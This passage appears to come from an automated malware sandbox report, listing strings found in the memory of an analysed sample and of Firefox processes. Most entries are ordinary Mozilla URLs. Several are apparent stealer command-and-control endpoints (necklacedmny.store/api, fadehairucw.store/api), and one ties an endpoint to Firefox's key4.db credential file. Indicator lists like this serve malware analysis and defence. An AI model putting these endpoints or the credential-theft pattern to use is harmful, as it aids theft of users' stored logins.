Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sonpopupshown=dropmarkerpopupshown
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fadehairucw.store:443/api)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000002F.00000003.2944012113.000001B2B4F52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsMozEl
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Failed
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.2760187955.00000295E1D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/private-browsing-web-api-fixes.jsexperiment-api
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/1072
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2749678005.00000295D4C11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Whether
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.2751799520.00000295E04FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000002.2768738479.00000295E46A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2772290045.00000295E4CF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.2772290045.00000295E4CDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2740896048.000000C46067B000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803703540.00000295E7426000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001A.00000002.2760187955.00000295E1D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sisDefault
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%ssetSlowScriptDebugHandler/debugService.remoteActiv
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000021.00000002.2743870817.0000015C07986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2976602615.000001B29BCD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.comshowBadgeOnlyNotificationupgradeTabsProgressListenernetwork.proxy.backup.
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.2809195003.00003AC907A04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: bd73c9fe1b.exe, 0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001090000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2760999582.0000000001114000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: bd73c9fe1b.exe, 0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/%
Source: file.exe, 00000000.00000003.2054218674.00000000008CB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/(
Source: bd73c9fe1b.exe, 0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/5
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/QE
Source: bd73c9fe1b.exe, 0000000B.00000003.2752319496.0000000001114000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2760999582.0000000001114000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/U
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002196611.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/YE
Source: bd73c9fe1b.exe, 0000000B.00000003.2668724190.0000000001128000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.00000000010A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2002196611.0000000000866000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api#Q
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api-hy
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiC
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiM
Source: bd73c9fe1b.exe, 0000000B.00000003.2778421995.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.00000000010A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiS
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiYQs
Source: bd73c9fe1b.exe, 0000000B.00000003.2779867197.0000000001123000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2786342374.0000000001123000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apia&
Source: file.exe, 00000000.00000003.1760931078.00000000008BA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiwor
Source: bd73c9fe1b.exe, 0000000B.00000002.2785929222.0000000001107000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2780262406.0000000001106000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.00000000010F2000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2762007313.0000000001107000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2746148779.0000000001106000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2728793173.0000000001102000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2745334524.0000000001102000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2731375932.0000000001106000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2779522106.00000000010F3000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2779682016.0000000001102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/dtrol914
Source: file.exe, 00000000.00000003.1778457016.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774743294.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002094324.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2054218674.00000000008CB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/j
Source: bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api.default-release/key4.dbPK
Source: file.exe, 00000000.00000003.2002303728.000000000082F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apiK
Source: file.exe, 00000000.00000003.2002303728.000000000082F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apia
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
